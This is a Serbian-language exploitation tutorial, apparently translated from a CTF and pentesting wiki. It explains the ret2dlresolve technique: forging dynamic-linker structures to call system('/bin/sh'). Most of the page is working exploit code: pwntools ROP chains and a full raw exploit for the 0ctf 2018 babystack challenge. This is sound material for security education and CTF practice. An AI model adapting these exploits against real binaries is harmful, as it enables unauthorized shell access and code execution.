Kao što je objašnjeno na stranici o GOT/PLT i Relro, binarni fajlovi bez Full Relro će rešavati simbole (kao adrese ka spoljnim bibliotekama) prvi put kada se koriste. Ova rezolucija se dešava pozivom funkcije _dl_runtime_resolve.
Funkcija _dl_runtime_resolve uzima sa steka reference ka nekim strukturama koje su joj potrebne kako bi rešila određeni simbol.
Stoga je moguće falsifikovati sve ove strukture kako bi se dinamički povezalo rešavanje traženog simbola (kao što je funkcija system) i pozvalo je sa konfigurisanim parametrom (npr. system('/bin/sh')).
Obično se sve ove strukture falsifikuju pravljenjem početnog ROP lanca koji poziva read preko zapisive memorije, zatim se strukture i string '/bin/sh' prosleđuju kako bi ih read sačuvao na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući _dl_runtime_resolve, omogućavajući mu da reši adresu system u lažnim strukturama i pozove tu adresu sa adresom ka $'/bin/sh'.
Ova tehnika je posebno korisna ako nema gedžeta za sistemski poziv (za korišćenje tehnika poput ret2syscall ili SROP) i nema načina za otkrivanje adresa libc-a.
Pogledajte ovaj video za lepo objašnjenje ove tehnike u drugoj polovini videa:
Ili pogledajte ove stranice za korak-po-korak objašnjenje:
context.binary = elf =ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))>>> rop =ROP(elf)>>> dlresolve =Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])>>> rop.read(0, dlresolve.data_addr)# do not forget this step, but use whatever function you like>>> rop.ret2dlresolve(dlresolve)>>> raw_rop = rop.chain()>>>print(rop.dump())0x0000:0x400593 pop rdi; ret0x0008:0x0 [arg0] rdi =00x0010:0x400591 pop rsi; pop r15; ret0x0018:0x601e00 [arg1] rsi =62991360x0020:b'iaaajaaa'<pad r15>0x0028:0x4003f0 read0x0030:0x400593 pop rdi; ret0x0038:0x601e48 [arg0] rdi =62992080x0040:0x4003e0 [plt_init] system0x0048:0x15670 [dlresolve index]
Primer
Čista Pwntools
Možete pronaći primer ove tehnike ovdekoji sadrži vrlo dobro objašnjenje konačnog ROP lanca, ali evo korišćenog konačnog napada:
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()
Sirovo
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystackfrom pwn import*target =process('./babystack')#gdb.attach(target)elf =ELF('babystack')# Establish starts of various sectionsbss =0x804a020dynstr =0x804822cdynsym =0x80481ccrelplt =0x80482b0# Establish two functionsscanInput =p32(0x804843b)resolve =p32(0x80482f0)#dlresolve address# Establish size of second payloadpayload1_size =43# Our first scan# This will call read to scan in our fake entries into the plt# Then return back to scanInput to re-exploit the bugpayload0 =""payload0 +="0"*44# Filler from start of input to return addresspayload0 +=p32(elf.symbols['read'])# Return readpayload0 += scanInput # After the read call, return to scan inputpayload0 +=p32(0)# Read via stdinpayload0 +=p32(bss)# Scan into the start of the bsspayload0 +=p32(payload1_size)# How much data to scan intarget.send(payload0)# Our second scan# This will be scanned into the start of the bss# It will contain the fake entries for our ret_2_dl_resolve attack# Calculate the r_info value# It will provide an index to our dynsym entrydynsym_offset = ((bss +0xc) - dynsym) /0x10r_info = (dynsym_offset <<8) |0x7# Calculate the offset from the start of dynstr section to our dynstr entrydynstr_index = (bss +28) - dynstrpaylaod1 =""# Our .rel.plt entrypaylaod1 +=p32(elf.got['alarm'])paylaod1 +=p32(r_info)# Emptypaylaod1 +=p32(0x0)# Our dynsm entrypaylaod1 +=p32(dynstr_index)paylaod1 +=p32(0xde)*3# Our dynstr entrypaylaod1 +="system\x00"# Store "/bin/sh" here so we can have a pointer ot itpaylaod1 +="/bin/sh\x00"target.send(paylaod1)# Our third scan, which will execute the ret_2_dl_resolve# This will just call 0x80482f0, which is responsible for calling the functions for resolving# We will pass it the `.rel.plt` index for our fake entry# As well as the arguments for system# Calculate address of "/bin/sh"binsh_bss_address = bss +35# Calculate the .rel.plt offsetret_plt_offset = bss - relpltpaylaod2 =""paylaod2 +="0"*44paylaod2 += resolve # 0x80482f0paylaod2 +=p32(ret_plt_offset)# .rel.plt offsetpaylaod2 +=p32(0xdeadbeef)# The next return address after 0x80482f0, really doesn't matter for uspaylaod2 +=p32(binsh_bss_address)# Our argument, address of "/bin/sh"target.send(paylaod2)# Enjoy the shell!target.interactive()
32-bitni, bez relro-a, bez canary-ja, nx, bez pie-a, osnovno prelivanje male bafera i povrat. Da bi se iskoristilo, prelivanje bafera se koristi za ponovno pozivanje read funkcije sa .bss sekcijom i većom veličinom, kako bi se u nju sačuvale lažne tabele dlresolve za učitavanje system, povratak na glavnu funkciju i ponovno iskorišćavanje početnog prelivanja bafera za pozivanje dlresolve funkcije i zatim system('/bin/sh').
